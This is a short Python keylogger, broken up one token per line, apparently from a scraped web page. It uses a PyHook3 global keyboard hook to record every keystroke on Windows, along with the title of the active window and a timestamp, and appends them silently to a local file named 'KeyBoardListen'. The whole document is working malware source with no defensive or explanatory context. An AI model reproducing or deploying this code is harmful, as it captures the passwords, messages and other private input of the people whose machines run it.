from
ctypes
import
*
import
pythoncom
import
PyHook3
import
win32clipboard
import
os,sys
import
time
path
=
os.getcwd()
user32
=
windll.user32
kernel32
=
windll.kernel32
psapi
=
windll.psapi
current_window
=
None
def
OnKeyboardEvent(event):
global
current_window,path
FileStr
=
""
if
event.Window !
=
current_window:
current_window
=
event.Window
windowTitle
=
create_string_buffer(
512
)
windll.user32.GetWindowTextA(event.Window,
byref(windowTitle),
512
)
windowName
=
windowTitle.value.decode(
'gbk'
)
FileStr
+
=
"\n"
+
(
"-"
*
50
)
+
"\n窗口:%s\n时间:%s\n"
%
(windowName,time.strftime(
'%Y-%m-%d %H:%M:%S'
))
if
event.Ascii >
32
and
event.Ascii <
127
:
FileStr
+
=
chr
(event.Ascii)
else
:
if
(event.Key
=
=
"Space"
):
FileStr
+
=
" "
elif
(event.Key
=
=
"Return"
):
FileStr
+
=
"[回车] "
elif
(event.Key
=
=
"Back"
):
FileStr
+
=
"[删除] "
fp
=
open
(path
+
"/KeyBoardListen"
,
"a"
,encoding
=
'utf-8'
)
fp.write(FileStr)
fp.close()
return
True
kl
=
PyHook3.HookManager()
kl.KeyDown
=
OnKeyboardEvent
fp
=
open
(path
+
"/KeyBoardListen"
,
"a"
,encoding
=
'utf-8'
)
fp.write(
'\n\n'
+
'#######################################'
+
'\n#'
+
' '
*
9
+
time.strftime(
'%Y-%m-%d %H:%M:%S'
)
+
' '
*
9
+
'#'
+
'\n'
+
'#######################################'
)
fp.close()
kl.HookKeyboard()
pythoncom.PumpMessages()